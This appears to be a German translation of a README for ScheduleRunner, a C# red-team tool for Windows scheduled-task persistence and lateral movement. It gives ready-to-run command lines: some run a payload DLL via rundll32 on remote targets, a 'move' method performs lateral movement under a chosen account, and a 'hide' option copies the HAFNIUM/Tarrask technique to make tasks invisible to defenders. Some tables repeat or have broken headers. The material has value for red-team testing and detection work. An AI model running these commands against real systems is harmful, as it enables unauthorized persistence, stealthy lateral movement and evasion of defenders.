
Ein C#-Tool mit größerer Flexibilität zur Anpassung geplanter Aufgaben für sowohl Persistenz als auch laterale Bewegung in Red-Team-Operationen.
Geplante Aufgaben sind eine der beliebtesten Angriffstechniken des letzten Jahrzehnts und werden auch heute noch häufig von Hackern/Red Teamern für Persistenz und laterale Bewegung eingesetzt.
Eine Reihe von C#-Tools wurden bereits entwickelt, um den Angriff mittels geplanter Aufgaben zu simulieren. Ich habe mit einigen davon experimentiert, aber jedes hat seine eigenen Einschränkungen bei der Anpassung der geplanten Aufgabe. Daher zielt dieses Projekt darauf ab, ein C#-Tool (CobaltStrike execute-assembly-kompatibel) bereitzustellen, das die von mir benötigten Funktionen enthält und ausreichend Flexibilität bei der Anpassung der geplanten Aufgabe bietet.

| Methode | Funktion |
|---|---|
| create | Erstelle eine neue geplante Aufgabe |
| delete | Lösche eine vorhandene geplante Aufgabe |
| run | Führe eine vorhandene geplante Aufgabe aus |
| query | Frage Details einer geplanten Aufgabe oder aller geplanten Aufgaben in einem Ordner ab |
| queryfolders | Frage alle Unterordner in der geplanten Aufgabe ab |
| move | Führe laterale Bewegung mittels geplanter Aufgabe durch (automatisch erstellen, ausführen und löschen) |
[*] sind Pflichtfelder.
[*] sind Pflichtfelder.
| Methode | Funktion |
|---|---|
| [*] /taskname | Gib den Namen der geplanten Aufgabe an |
| /folder | Gib den Ordner an, in dem die geplante Aufgabe gespeichert wird (Standard: \) |
| /remoteserver | Gib den Hostnamen oder die IP-Adresse eines Remotecomputers an |
[*] sind Pflichtfelder.
| Methode | Funktion |
|---|---|
| /taskname | Gib den Namen der geplanten Aufgabe an |
| /folder | Gib den Ordner an, in dem die geplante Aufgabe gespeichert wird (Standard: \) |
| /remoteserver | Gib den Hostnamen oder die IP-Adresse eines Remotecomputers an |
[*] sind Pflichtfelder.
[*] sind Pflichtfelder.
Erstelle eine geplante Aufgabe namens "Cleanup", die jeden Tag um 23:30 Uhr ausgeführt wird.
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010
Erstelle eine geplante Aufgabe namens "Cleanup", die alle 4 Stunden auf einem Remote-Server ausgeführt wird.
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll /remoteserver:TARGET-PC01
Lösche eine geplante Aufgabe namens "Cleanup".
ScheduleRunner.exe /method:delete /taskname:Cleanup
Führe eine geplante Aufgabe namens "Cleanup" aus.
ScheduleRunner.exe /method:run /taskname:Cleanup
Frage Details einer geplanten Aufgabe namens "Cleanup" im Ordner "\Microsoft\Windows\CertificateServicesClient" auf einem Remote-Server ab.
ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
Frage alle geplanten Aufgaben unter einem bestimmten Ordner "\Microsoft\Windows\CertificateServicesClient" auf einem Remote-Server ab.
ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01
Frage alle Unterordner in der geplanten Aufgabe ab.
ScheduleRunner.exe /method:queryfolders
Führe laterale Bewegung mittels geplanter Aufgabe zu einem Remote-Server mit einem bestimmten Benutzerkonto durch.
ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010
Erstelle eine geplante Aufgabe namens "Cleanup" unter Verwendung der Technik des Versteckens geplanter Aufgaben:
ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide
Lösche eine geplante Aufgabe namens "Cleanup", die die Technik des Versteckens geplanter Aufgaben verwendet hat:
ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide
Diese Technik wurde vom Bedrohungsakteur HAFNIUM verwendet und kürzlich von Microsoft entdeckt. Sie zielt darauf ab, die geplante Aufgabe für Tools nicht abfragbar und für die Aufgabenplanung unsichtbar zu machen.
Um diese Technik zu verwenden, benötigen Sie "NT AUTHORITY/SYSTEM" und ScheduleRunner wird Folgendes für Sie tun:
Um eine mit dieser Technik erstellte geplante Aufgabe zu entfernen, muss "/technique:hide" in der Löschmethode hinzugefügt werden, um sie ordnungsgemäß zu entfernen.
Die Aufgabe wird bis zum nächsten Systemneustart weiter ausgeführt, selbst wenn sie über die Registrierung gelöscht wird. Daher ist es besser, diese Technik auf Servern für Ihren Einsatz nicht zu verwenden.

| Bibliothek | Link |
|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler |
| Referenz | Link |
|---|---|
| SharpPersist | https://github.com/mandiant/SharPersist |
| Technik des Versteckens geplanter Aufgaben | https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ |
| Methode | Funktion |
|---|
| [*] /taskname | Gib den Namen der geplanten Aufgabe an |
| [*] /program | Gib das Programm an, das die Aufgabe ausführt |
| [*] /trigger | Gib den Zeitplantyp an. Gültige Werte sind: "minute", "hourly", "daily", "weekly", "onstart", "onlogon" und "onidle" |
| /modifier | Gib an, wie oft die Aufgabe innerhalb ihres Zeitplantyps ausgeführt wird. Nur anwendbar für Zeitplantypen wie "minute" (z. B. 1-1439 Minuten), "hourly" (z. B. 1-23 Stunden) und "weekly" (z. B. mon,sat,sun) |
| /starttime | Gib die Startzeit für den täglichen Zeitplantyp an (z. B. 23:30) |
| /argument | Gib das Befehlszeilenargument für das Programm an |
| /folder | Gib den Ordner an, in dem die geplante Aufgabe gespeichert wird (Standard: \) |
| /workingdir | Gib das Arbeitsverzeichnis an, in dem die geplante Aufgabe ausgeführt wird |
| /author | Gib den Autor der geplanten Aufgabe an |
| /description | Gib die Beschreibung für die geplante Aufgabe an |
| /remoteserver | Gib den Hostnamen oder die IP-Adresse eines Remotecomputers an |
| /user | Führe die Aufgabe mit einem angegebenen Benutzerkonto aus |
| /technique | Gib die Umgehungstechnik an: - "hide": Eine Technik, die von der HAFNIUM-Malware verwendet wird und die geplante Aufgabe vor der Aufgabenabfrage verbirgt [!] https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/ [!] Diese Technik unterstützt keine Remoteausführung aufgrund der Berechtigung der Remote-Registrierung. Erforderlich ist "NT AUTHORITY\SYSTEM" und die Aufgabe läuft bis zum Systemneustart weiter, selbst nach Löschung der Aufgabe |
| Methode | Funktion |
|---|
| [*] /taskname | Gib den Namen der geplanten Aufgabe an |
| /folder | Gib den Ordner an, in dem die geplante Aufgabe gespeichert wird (Standard: \) |
| /remoteserver | Gib den Hostnamen oder die IP-Adresse eines Remotecomputers an |
| /technique | Gib an, dass die geplante Aufgabe unter Verwendung einer Umgehungstechnik erstellt wurde: - "hide": Lösche eine geplante Aufgabe, die mit der „Versteckte geplante Aufgabe“-Technik erstellt wurde [!] Die Löschung erfordert "NT AUTHORITY\SYSTEM" und die Aufgabe wird bis zum Systemneustart weiter ausgeführt, selbst nach Löschung der Aufgabe |
| Methode | Funktion |
|---|
| [*] /taskname | Gib den Namen der geplanten Aufgabe an |
| [*] /program | Gib das Programm an, das die Aufgabe ausführt |
| [*] /remoteserver | Gib den Hostnamen oder die IP-Adresse eines Remotecomputers an |
| /trigger | Gib den Zeitplantyp an. Gültige Werte sind: "minute", "hourly", "daily", "weekly", "onstart", "onlogon" und "onidle" |
| /modifier | Gib an, wie oft die Aufgabe innerhalb ihres Zeitplantyps ausgeführt wird. Nur anwendbar für Zeitplantypen wie "minute" (z. B. 1-1439 Minuten), "hourly" (z. B. 1-23 Stunden) und "weekly" (z. B. mon,sat,sun) |
| /starttime | Gib die Startzeit für den täglichen Zeitplantyp an (z. B. 23:30) |
| /argument | Gib das Befehlszeilenargument für das Programm an |
| /folder | Gib den Ordner an, in dem die geplante Aufgabe gespeichert wird (Standard: \) |
| /workingdir | Gib das Arbeitsverzeichnis an, in dem die geplante Aufgabe ausgeführt wird |
| /author | Gib den Autor der geplanten Aufgabe an |
| /description | Gib die Beschreibung für die geplante Aufgabe an |
| /user | Führe die Aufgabe mit einem angegebenen Benutzerkonto aus |